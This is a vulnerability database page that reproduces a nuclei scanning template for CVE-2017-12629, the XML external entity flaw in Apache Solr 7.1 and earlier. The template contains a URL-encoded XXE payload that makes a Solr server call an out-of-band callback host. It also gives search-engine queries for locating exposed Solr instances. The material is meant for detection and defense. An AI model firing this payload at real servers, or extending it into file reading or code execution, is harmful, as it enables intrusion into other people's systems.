Lucene search
K

Apache Solr <= 7.1 - XML Entity Injection

🗓️ 26 Jun 2026 03:02:09Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 73 Views

Apache Solr XML Entity Injection vulnerability in versions <= 7.

Related
Refs
Code
id: CVE-2017-12629

info:
  name: Apache Solr <= 7.1 - XML Entity Injection
  author: dwisiswant0
  severity: critical
  description: Apache Solr with Apache Lucene before 7.1 is susceptible to remote code execution by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr.
  impact: |
    Successful exploitation of this vulnerability could lead to information disclosure, denial of service.
  remediation: |
    Upgrade to a patched version of Apache Solr (7.2 or higher) or apply the recommended security patches.
  reference:
    - https://twitter.com/honoki/status/1298636315613974532
    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE
    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12629
    - http://mail-archives.us.apache.org/mod_mbox/www-announce/201710.mbox/%3CCAOOKt51UO_6Vy%3Dj8W%3Dx1pMbLW9VJfZyFWz7pAnXJC_OAdSZubA%40mail.gmail.com%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-12629
    cwe-id: CWE-611
    epss-score: 0.91896
    epss-percentile: 0.99804
    cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: solr
    shodan-query:
      - cpe:"cpe:2.3:a:apache:solr"
      - http.title:"apache solr"
      - http.title:"solr admin"
    fofa-query:
      - title="solr admin"
      - title="apache solr"
    google-query:
      - intitle:"apache solr"
      - intitle:"solr admin"
  tags: cve2017,cve,oast,xxe,vulhub,solr,apache,vuln

http:
  - raw:
      - |
        GET /solr/admin/cores?wt=json HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F{{interactsh-url}}%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

    extractors:
      - type: regex
        name: core
        group: 1
        regex:
          - '"name"\:"(.*?)"'
        internal: true
# digest: 490a00463044022023dc2e351cbbee1d5b50a4751f39c693eabd70f67248be9f951703b78c52e13d02205d50198d1cb31eb5dc668ddca6ddd4181872235415577ea236f0c4bcf620cbe6:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.6High risk
Vulners AI Score7.6
CVSS 27.5
CVSS 3.19.8
EPSS0.91896
73